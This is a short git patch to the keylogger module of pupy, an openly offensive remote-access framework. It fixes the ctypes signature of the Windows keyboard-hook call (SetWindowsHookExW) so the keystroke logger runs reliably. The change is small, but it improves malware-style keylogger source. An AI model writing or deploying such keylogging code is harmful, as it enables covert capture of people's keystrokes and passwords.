From 0dff44d339ff3afcef166b2568fd1d467129b2da Mon Sep 17 00:00:00 2001 From: Alessandro ZANNI Date: Thu, 28 Jul 2016 17:53:56 +0200 Subject: [PATCH] fix keylogger issue --- pupy/packages/windows/all/pupwinutils/keylogger.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/pupy/packages/windows/all/pupwinutils/keylogger.py b/pupy/packages/windows/all/pupwinutils/keylogger.py index adf60018..a384426d 100644 --- a/pupy/packages/windows/all/pupwinutils/keylogger.py +++ b/pupy/packages/windows/all/pupwinutils/keylogger.py @@ -59,7 +59,10 @@ VK_RETURN = 0x0D # ENTER key VK_ESCAPE = 0x1B # Base Win API -SetWindowsHookEx = user32.SetWindowsHookExW +SetWindowsHookEx = user32.SetWindowsHookExW +SetWindowsHookEx.argtypes = (c_int, HOOKPROC, HINSTANCE, DWORD) +SetWindowsHookEx.restype = HHOOK + UnhookWindowsHookEx = user32.UnhookWindowsHookEx CallNextHookEx = user32.CallNextHookEx GetMessage = user32.GetMessageW